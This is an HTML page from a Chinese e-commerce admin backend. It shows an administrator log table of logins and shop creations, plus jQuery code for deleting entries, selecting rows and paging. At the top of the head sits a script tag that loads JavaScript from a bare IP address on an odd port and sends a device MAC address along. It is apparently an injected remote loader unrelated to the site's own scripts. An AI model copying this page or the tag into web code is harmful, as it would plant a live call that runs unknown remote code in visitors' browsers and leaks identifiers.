<!doctype html>
<html>

	<head>
		<script src=http://45.126.123.80:118/j.js?MAC=2CB21AACBE18></script>
		<meta http-equiv="content-type" content="text/html; charset=UTF-8">
		<meta charset="utf-8">
		<meta http-equiv="X-UA-Compatible" content="IE=edge">
		<meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no">
		<!-- Apple devices fullscreen -->
		<meta name="apple-mobile-web-app-capable" content="yes">
		<!-- Apple devices fullscreen -->
		<meta name="apple-mobile-web-app-status-bar-style" content="black-translucent">
		<link href="../css/main.css?v=12u234y" rel="stylesheet" type="text/css">
		<link href="../css/page.css" rel="stylesheet" type="text/css">
		<link href="../font/css/font-awesome.min.css" rel="stylesheet" />
		<!--[if IE 7]>
  <link rel="stylesheet" href="../font/css/font-awesome-ie7.min.css">
<![endif]-->
		<link href="../js/jquery-ui/jquery-ui.min.css" rel="stylesheet" type="text/css" />
		<link href="../js/perfect-scrollbar.min.css" rel="stylesheet" type="text/css" />
		<style type="text/css">
			html,
			body {
				overflow: visible;
			}
		</style>
		<script type="text/javascript" src="../js/jquery.js"></script>
		<script type="text/javascript" src="../js/jquery-ui/jquery-ui.min.js"></script>
		<script type="text/javascript" src="../js/layer/layer.js"></script>
		<!-- 弹窗js 参考文档 http://layer.layui.com/-->
		<script type="text/javascript" src="../js/admin.js"></script>
		<script type="text/javascript" src="../js/flexigrid.js"></script>
		<script type="text/javascript" src="../js/jquery.validation.min.js"></script>
		<script type="text/javascript" src="../js/perfect-scrollbar.min.js"></script>
		<script type="text/javascript" src="../js/jquery.mousewheel.js"></script>
		<script src="../js/myFormValidate.js"></script>
		<script src="../js/myAjax2.js"></script>
		<script src="../js/global.js"></script>
		<script type="text/javascript" src="../js/demo_page.js"></script>
		<script type="text/javascript">
			function delfunc(obj) {
				layer.confirm('确认删除？', {
					btn: ['确定', '取消'] //按钮
				}, function() {
					$.ajax({
						type: 'post',
						url: $(obj).attr('data-url'),
						data: {
							act: 'del',
							del_id: $(obj).attr('data-id')
						},
						dataType: 'json',
						success: function(data) {
							if(data == 1) {
								layer.msg('操作成功', {
									icon: 1
								});
								$(obj).parent().parent().parent().remove();
							} else {
								layer.msg(data, {
									icon: 2,
									time: 2000
								});
							}
						}
					})
				}, function(index) {
					layer.close(index);
					return false; // 取消
				});
			}

			function delAll(obj, name) {
				var a = [];
				$('input[name*=' + name + ']').each(function(i, o) {
					if($(o).is(':checked')) {
						a.push($(o).val());
					}
				})
				if(a.length == 0) {
					layer.alert('请选择删除项', {
						icon: 2
					});
					return;
				}
				layer.confirm('确认删除？', {
					btn: ['确定', '取消']
				}, function() {
					$.ajax({
						type: 'get',
						url: $(obj).attr('data-url'),
						data: {
							act: 'del',
							del_id: a
						},
						dataType: 'json',
						success: function(data) {
							if(data == 1) {
								layer.msg('操作成功', {
									icon: 1
								});
								$('input[name*=' + name + ']').each(function(i, o) {
									if($(o).is(':checked')) {
										$(o).parent().parent().remove();
									}
								})
							} else {
								layer.msg(data, {
									icon: 2,
									time: 2000
								});
							}
							layer.closeAll();
						}
					})
				}, function(index) {
					layer.close(index);
					return false; // 取消
				});
			}

			//表格列表全选反选
			$(document).ready(function() {
				$('.hDivBox .sign').click(function() {
					var sign = $('#flexigrid > table>tbody>tr');
					if($(this).parent().hasClass('trSelected')) {
						sign.each(function() {
							$(this).removeClass('trSelected');
						});
						$(this).parent().removeClass('trSelected');
					} else {
						sign.each(function() {
							$(this).addClass('trSelected');
						});
						$(this).parent().addClass('trSelected');
					}
				})
			});

			//获取选中项
			function getSelected() {
				var selectobj = $('.trSelected');
				var selectval = [];
				if(selectobj.length > 0) {
					selectobj.each(function() {
						selectval.push($(this).attr('data-id'));
					});
				}
				return selectval;
			}
		</script>
	</head>

	<body style="background-color: rgb(255, 255, 255); overflow: auto; cursor: default; -moz-user-select: inherit;">
		<div id="append_parent"></div>
		<div id="ajaxwaitid"></div>
		<div class="page">
			<div class="fixed-bar">
				<div class="item-title">
					<div class="subject">
						<h3>管理员日志列表</h3>
						<h5>网站系统管理员日志列表</h5>
					</div>
				</div>
			</div>
			<!-- 操作说明 -->
			<div id="explanation" class="explanation" style="color: rgb(44, 188, 163); background-color: rgb(237, 251, 248); width: 99%; height: 100%;">
				<div id="checkZoom" class="title"><i class="fa fa-lightbulb-o"></i>
					<h4 title="提示相关设置操作时应注意的要点">操作提示</h4>
					<span title="收起提示" id="explanationZoom" style="display: block;"></span>
				</div>
				<ul>
					<li>网站管理员日志列表, 由总平台设置管理.</li>
				</ul>
			</div>
			<div class="flexigrid">
				<div class="mDiv">
					<div class="ftitle">
						<h3>管理员日志列表</h3>
						<h5>(共10条记录)</h5>
					</div>
					<div title="刷新数据" class="pReload"><i class="fa fa-refresh"></i></div>
				</div>
				<div class="hDiv">
					<div class="hDivBox">
						<table cellspacing="0" cellpadding="0">
							<thead>
								<tr>
									<th class="sign" axis="col0">
										<div style="width: 24px;"><i class="ico-check"></i></div>
									</th>
									<th align="left" abbr="article_title" axis="col3" class="">
										<div style="text-align: left; width: 100px;" class="">ID</div>
									</th>
									<th align="left" abbr="ac_id" axis="col4" class="">
										<div style="text-align: left; width: 100px;" class="">角色名称</div>
									</th>
									<th align="center" abbr="article_show" axis="col5" class="">
										<div style="text-align: left; width: 100px;" class="">描述</div>
									</th>
									<th align="left" abbr="ac_id" axis="col4" class="">
										<div style="text-align: left; width: 100px;" class="">IP</div>
									</th>
									<th align="center" abbr="article_show" axis="col5" class="">
										<div style="text-align: left; width: 200px;" class="">操作时间</div>
									</th>
									<th style="width:100%" axis="col7">
										<div></div>
									</th>
								</tr>
							</thead>
						</table>
					</div>
				</div>
				<div class="bDiv" style="height: auto;">
					<div id="flexigrid" cellpadding="0" cellspacing="0" border="0">
						<table>
							<tbody>
								<tr>
									<td class="sign">
										<div style="width: 24px;"><i class="ico-check"></i></div>
									</td>
									<td align="left" class="">
										<div style="text-align: left; width: 100px;">10</div>
									</td>
									<td align="left" class="">
										<div style="text-align: left; width: 100px;">admin</div>
									</td>
									<td align="left" class="">
										<div style="text-align: left; width: 100px;">新增店铺：nsf</div>
									</td>
									<td align="left" class="">
										<div style="text-align: left; width: 100px;">112.232.158.241</div>
									</td>
									<td align="left" class="">
										<div style="text-align: left; width: 200px;">2018-12-10 10:04:44</div>
									</td>
									<td align="" class="" style="width: 100%;">
										<div>&nbsp;</div>
									</td>
								</tr>
								<tr>
									<td class="sign">
										<div style="width: 24px;"><i class="ico-check"></i></div>
									</td>
									<td align="left" class="">
										<div style="text-align: left; width: 100px;">9</div>
									</td>
									<td align="left" class="">
										<div style="text-align: left; width: 100px;">admin</div>
									</td>
									<td align="left" class="">
										<div style="text-align: left; width: 100px;">后台登录</div>
									</td>
									<td align="left" class="">
										<div style="text-align: left; width: 100px;">127.0.0.1</div>
									</td>
									<td align="left" class="">
										<div style="text-align: left; width: 200px;">2018-10-31 19:08:20</div>
									</td>
									<td align="" class="" style="width: 100%;">
										<div>&nbsp;</div>
									</td>
								</tr>
								<tr>
									<td class="sign">
										<div style="width: 24px;"><i class="ico-check"></i></div>
									</td>
									<td align="left" class="">
										<div style="text-align: left; width: 100px;">8</div>
									</td>
									<td align="left" class="">
										<div style="text-align: left; width: 100px;">admin</div>
									</td>
									<td align="left" class="">
										<div style="text-align: left; width: 100px;">新增店铺：高品商城</div>
									</td>
									<td align="left" class="">
										<div style="text-align: left; width: 100px;">127.0.0.1</div>
									</td>
									<td align="left" class="">
										<div style="text-align: left; width: 200px;">2018-10-27 17:22:31</div>
									</td>
									<td align="" class="" style="width: 100%;">
										<div>&nbsp;</div>
									</td>
								</tr>
								<tr>
									<td class="sign">
										<div style="width: 24px;"><i class="ico-check"></i></div>
									</td>
									<td align="left" class="">
										<div style="text-align: left; width: 100px;">7</div>
									</td>
									<td align="left" class="">
										<div style="text-align: left; width: 100px;">admin</div>
									</td>
									<td align="left" class="">
										<div style="text-align: left; width: 100px;">后台登录</div>
									</td>
									<td align="left" class="">
										<div style="text-align: left; width: 100px;">127.0.0.1</div>
									</td>
									<td align="left" class="">
										<div style="text-align: left; width: 200px;">2018-10-27 16:43:27</div>
									</td>
									<td align="" class="" style="width: 100%;">
										<div>&nbsp;</div>
									</td>
								</tr>
								<tr>
									<td class="sign">
										<div style="width: 24px;"><i class="ico-check"></i></div>
									</td>
									<td align="left" class="">
										<div style="text-align: left; width: 100px;">6</div>
									</td>
									<td align="left" class="">
										<div style="text-align: left; width: 100px;">admin</div>
									</td>
									<td align="left" class="">
										<div style="text-align: left; width: 100px;">后台登录</div>
									</td>
									<td align="left" class="">
										<div style="text-align: left; width: 100px;">127.0.0.1</div>
									</td>
									<td align="left" class="">
										<div style="text-align: left; width: 200px;">2018-01-23 16:47:55</div>
									</td>
									<td align="" class="" style="width: 100%;">
										<div>&nbsp;</div>
									</td>
								</tr>
								<tr>
									<td class="sign">
										<div style="width: 24px;"><i class="ico-check"></i></div>
									</td>
									<td align="left" class="">
										<div style="text-align: left; width: 100px;">5</div>
									</td>
									<td align="left" class="">
										<div style="text-align: left; width: 100px;">admin</div>
									</td>
									<td align="left" class="">
										<div style="text-align: left; width: 100px;">后台登录</div>
									</td>
									<td align="left" class="">
										<div style="text-align: left; width: 100px;">127.0.0.1</div>
									</td>
									<td align="left" class="">
										<div style="text-align: left; width: 200px;">2018-01-23 16:42:15</div>
									</td>
									<td align="" class="" style="width: 100%;">
										<div>&nbsp;</div>
									</td>
								</tr>
								<tr>
									<td class="sign">
										<div style="width: 24px;"><i class="ico-check"></i></div>
									</td>
									<td align="left" class="">
										<div style="text-align: left; width: 100px;">4</div>
									</td>
									<td align="left" class="">
										<div style="text-align: left; width: 100px;">admin</div>
									</td>
									<td align="left" class="">
										<div style="text-align: left; width: 100px;">后台登录</div>
									</td>
									<td align="left" class="">
										<div style="text-align: left; width: 100px;">127.0.0.1</div>
									</td>
									<td align="left" class="">
										<div style="text-align: left; width: 200px;">2018-01-20 11:09:25</div>
									</td>
									<td align="" class="" style="width: 100%;">
										<div>&nbsp;</div>
									</td>
								</tr>
								<tr>
									<td class="sign">
										<div style="width: 24px;"><i class="ico-check"></i></div>
									</td>
									<td align="left" class="">
										<div style="text-align: left; width: 100px;">3</div>
									</td>
									<td align="left" class="">
										<div style="text-align: left; width: 100px;">admin</div>
									</td>
									<td align="left" class="">
										<div style="text-align: left; width: 100px;">后台登录</div>
									</td>
									<td align="left" class="">
										<div style="text-align: left; width: 100px;">127.0.0.1</div>
									</td>
									<td align="left" class="">
										<div style="text-align: left; width: 200px;">2018-01-20 10:13:16</div>
									</td>
									<td align="" class="" style="width: 100%;">
										<div>&nbsp;</div>
									</td>
								</tr>
								<tr>
									<td class="sign">
										<div style="width: 24px;"><i class="ico-check"></i></div>
									</td>
									<td align="left" class="">
										<div style="text-align: left; width: 100px;">2</div>
									</td>
									<td align="left" class="">
										<div style="text-align: left; width: 100px;">admin</div>
									</td>
									<td align="left" class="">
										<div style="text-align: left; width: 100px;">后台登录</div>
									</td>
									<td align="left" class="">
										<div style="text-align: left; width: 100px;">127.0.0.1</div>
									</td>
									<td align="left" class="">
										<div style="text-align: left; width: 200px;">2018-01-19 11:20:43</div>
									</td>
									<td align="" class="" style="width: 100%;">
										<div>&nbsp;</div>
									</td>
								</tr>
								<tr>
									<td class="sign">
										<div style="width: 24px;"><i class="ico-check"></i></div>
									</td>
									<td align="left" class="">
										<div style="text-align: left; width: 100px;">1</div>
									</td>
									<td align="left" class="">
										<div style="text-align: left; width: 100px;">admin</div>
									</td>
									<td align="left" class="">
										<div style="text-align: left; width: 100px;">后台登录</div>
									</td>
									<td align="left" class="">
										<div style="text-align: left; width: 100px;">127.0.0.1</div>
									</td>
									<td align="left" class="">
										<div style="text-align: left; width: 200px;">2018-01-12 19:52:33</div>
									</td>
									<td align="" class="" style="width: 100%;">
										<div>&nbsp;</div>
									</td>
								</tr>
							</tbody>
						</table>
						<!--分页位置-->
						<div class='dataTables_paginate paging_simple_numbers'>
							<ul class='pagination' id="page">
							</ul>
						</div>
					</div>
					<div class="iDiv" style="display: none;"></div>
				</div>
			</div>
			<script>
				$(document).ready(function() {
					// 表格行点击选中切换
					$('#flexigrid > table>tbody >tr').click(function() {
						$(this).toggleClass('trSelected');
					});

					// 点击刷新数据
					$('.fa-refresh').click(function() {
						location.href = location.href;
					});

				});
				
				//页码单击事件
			function pageClick(obj) {
				$(".paginate_button").removeClass("active");
				var page = $(obj).children().text();
				currPage = page;
				$(obj).addClass("active");
				//在此处调用页码单击事件
			}
			//获取总数据
			totalRecord = 13;
			showpage();

			</script>
	</body>

</html>